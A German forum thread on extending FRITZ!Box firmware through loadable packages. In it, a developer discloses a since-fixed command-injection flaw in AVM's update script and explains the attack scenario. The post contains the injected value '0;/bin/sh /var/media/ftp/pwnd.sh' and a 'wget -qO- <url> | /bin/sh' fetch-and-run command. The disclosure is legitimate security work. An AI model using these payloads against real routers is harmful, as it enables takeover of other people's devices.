Das wäre also MEINE Vorstellung von einer besseren Alternative zu dem hier gezeigten (händischen) Einbau so eines SSH-Servers ... und das sind alles keine Wolkenschlösser, sondern die notwendigen Zutaten sind tatsächlich alle vorhanden und veröffentlicht (außer den update-festen Modifikationen, die sich selbst in neue Versionen vererben - praktisch wie ein Virus oder Wurm). Die erste Option, bei der die enthaltenen Dateien in ein Verzeichnis in /var entpackt werden, kann man sich (schon seit zwei Jahren und da stimme ich mal zu, daß das von mir tatsächlich nicht an die große Glocke gehangen wurde, wobei ich das Prinzip auch mehr als ein oder zwei Male hier erläutert habe im IPPF) im yf_bin-Repo ansehen, wo ich mal ein paar Beispiele (zwei Pakete, die für alle Modelle gelten und eines, was sich an Architektur und Kernel-Version orientiert und in verschiedenen Ausführungen vorliegt) für jemanden veröffentlicht hatte.

Um das mit anderen Optionen nutzen zu können (die Skript-Files, um solche Images zu bauen, liegen dann auch in yf_bin: https://github.com/PeterPawn/yf_bin/tree/761344186579a26a7f60791f76f0f938b19b3a44/scripts), braucht es letztlich nur einen anderen Inhalt in der ./var/install ... und da sind der Phantasie des Benutzers dann wieder keine Grenzen gesetzt bzw. die Hürden sind niedrig.

Wenn ICH jedenfalls anderen so einen SSH-Server bereitstellen wollte, würde ich das (auch angesichts der Größe der beteiligten Dateien, die bei ausreichendem RAM in einer Box kein Problem sein sollten) eben in genau so einem "Package" machen (mit der schon erwähnten Speicherung der öffentlichen Schlüssel in einem freien TFFS-Node unter 100) ... nur komme ich halt nicht wirklich dazu. Was ich aber definitiv NICHT machen würde (und werde), ist es, das Ganze stattdessen in einer Art und Weise zu realisieren, die in meinen Augen gar keine wirkliche Zukunft hat und höchstens noch als "Übergangslösung" ihr Dasein fristet.

Danach braucht man dann eigentlich auch nur noch irgendeine Verwaltung, welche Packages initialisiert werden sollen und im besten Falle noch ein Paket, was aus mehreren solcher (generischen) Packages dann ein größeres zusammenstellen kann, was speziell für diese Box (und ihren erweiterten Funktionsumfang) gedacht ist. Dann wäre tatsächlich schon das formulierte "Ziel" des YourFritz-Projekts (nämlich die dynamische Erweiterung der Firmware durch nachladbare Pakete) erreicht. Mir selbst steht dabei in erster Linie im Weg, daß ich immer mal wieder ein paar Schritte rückwärts mache, weil mir eine frühere Lösung nicht mehr gefällt (oder AVM-Änderungen sie über den Haufen geworfen haben) und ich daher mit ein paar weiteren "Basics" (die aber nicht für diese "Package"-Idee benötigt werden) nie so richtig fertig werde.



Um mal ein Beispiel zu nennen ... bis vor kurzem gab es bei AVM in der ./var/install bei den meisten Modellen beim Umschalten von linux_fs_start eine Schwachstelle, die man sehr schön dazu benutzen konnte, ein eigenes Kommando (auch in absolut unmodifizierter Firmware) genau dann auszuführen, wenn da tatsächlich ein Update erfolgen sollte. Der Code sah da üblicherweise so aus:
Rich (BBCode):
# get linux_fs_start
eval `cat $CONFIG_ENVIRONMENT_PATH/environment | grep "^linux_fs_start"  | tr '\t' '='`
und wie man leicht sieht, würde da bei einem Wert 0;/bin/sh /var/media/ftp/pwnd.sh sowohl die Anweisung linux_fs_start=0 ausgeführt, als auch das Shell-Skript /var/media/ftp/pwnd.sh vom NAS-Flash (unabhängig von noexec oder nicht) aufgerufen, in dem man dann wieder all das machen kann, was man möchte (die USB-Volumes waren da schon entladen, deshalb mußte das auf den internen Flash) ... der Rest des install-Skripts von AVM wartet so lange.

So ein Wert in linux_fs_start, der nicht nur 0 oder 1 ist, hat zwar jetzt - je nach Modell bzw. Kernel-Patches von AVM - durchaus andere Nebenwirkungen (bei VR9-Boxen praktisch keine), aber er war (obwohl praktisch schon "seit Urzeiten" so in dem Skript zu finden) bisher nicht wirklich eine erhebliche Sicherheitslücke ... dafür war er tatsächlich eine recht praktische Möglichkeit, sich direkt in ein solches AVM-Update einzuklinken und die zu flashende Image-Datei (mit den passenden SquashFS-Tools, die man auch auf den NAS-Flash legen mußte) VOR dem Flashen gleich mal zu verändern und die "Basics" der Modifikationen in die AVM-Firmware direkt einzubauen, ohne dazu ein eigenes Image über den Bootloader starten zu müssen.

Der Grund, warum das bisher kein kritisches Problem war, ist ganz einfach ... zum Zeitpunkt, wo das install-Skript von AVM ausgeführt wird, ist praktisch alles andere, was "von außen" erreichbar wäre, schon heruntergefahren (durch /bin/prepare_fwupgrade) und ggf. läuft sogar ein Watchdog mit, der die Box einfach neu startet, wenn die Installation zu lange dauert. Außerdem muß man natürlich irgendwie schon in der Lage gewesen sein, den Wert in linux_fs_start passend zu manipulieren - wobei das (zumindest für den Besitzer) sicherlich der leichtere Teil ist.

Dann kam AVM aber mit dem SILENT_UPDATE-Feature um die Ecke und da dabei das gesamte System auch bei und nach der Update-Installation weiterhin in vollem Umfang arbeitsfähig bleibt, eröffnen sich einem Angreifer (und diese Einstellung ist eben - bei einer Ethernet-Verbindung zu einer startenden FRITZ!Box - auch schnell manipuliert und dauert keine 5 Sekunden, so daß der Besitzer davon meist nichts mitbekommen würde) dann doch wieder ganz neue Wege.

Insbesondere muß er die ganze "Intelligenz" so eines Angriffs jetzt nicht mehr direkt im LAN versammeln, damit das alles auch "offline" funktioniert. Nein, er kann ganz einfach von irgendeinem Server beliebige Dateien aus dem Internet nachladen (mal unterstellt, daß die Box eine Internetverbindung nutzen kann) und sich dabei schon daran orientieren, um welches Modell und um welche FRITZ!OS-Version es sich konkret handelt, was eine "tailored attack" deutlich vereinfacht bzw. weniger auffällig macht (weil weniger Daten übertragen und gespeichert werden müssen). Das gilt natürlich auch für das auszuführende Kommando/Skript ... auch das kann dann einfach (z.B. mit einem wget -qO- <url> | /bin/sh) noch aus dem Netz nachgeladen werden.

Das wurde mir dann doch zu heiß ... daher habe ich es dann an AVM gemeldet und mittlerweile ist diese Schwachstelle auch geschlossen. Aber das ist eben gleichzeitig auch ein Beispiel dafür, wie sich das System ändert und eine Schwachstelle, die ich eigentlich für die "Installation" der ersten Modifikationen auch bei anderen Modellen als den VR9-Boxen "vorgesehen" hatte, durch geänderte Umstände nicht mehr verfügbar ist und wo ich mir eben etwas Neues einfallen lassen muß, wenn ich das "allgemein und leicht machbar" zugänglich machen wollte. Auch so etwas wirft mich hin und wieder zurück ... eine weitere "Entschuldigung", warum das nicht so richtig vorwärts geht.

Aber das muß ja niemanden davon abhalten, das Vorhandene (und Veröffentlichte) auch jetzt schon zu benutzen ... und >95% davon habe ich auch schon (mehrfach) erklärt. Nun kann ich aber auch nichts dafür, wenn das jemandem "durch die Lappen geht" ... ich hindere auch niemanden daran, ältere Beiträge auch nach längerer Zeit doch noch zu lesen und ein Löschen kompletter Beiträge gibt es bei mir grundsätzlich nicht.
 
Zuletzt bearbeitet:
Ich habe gerade modfs-master auf 7490-07.57 losgelassen... und es funktioniert. Falls sich jemand fragt, ob so ein "alter" Thread noch aktuell ist...
 
Zuletzt bearbeitet:

Neueste Beiträge

Statistik des Forums

Themen
244,640
Beiträge
2,215,734
Mitglieder
371,222
Neuestes Mitglied
osilayer7
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.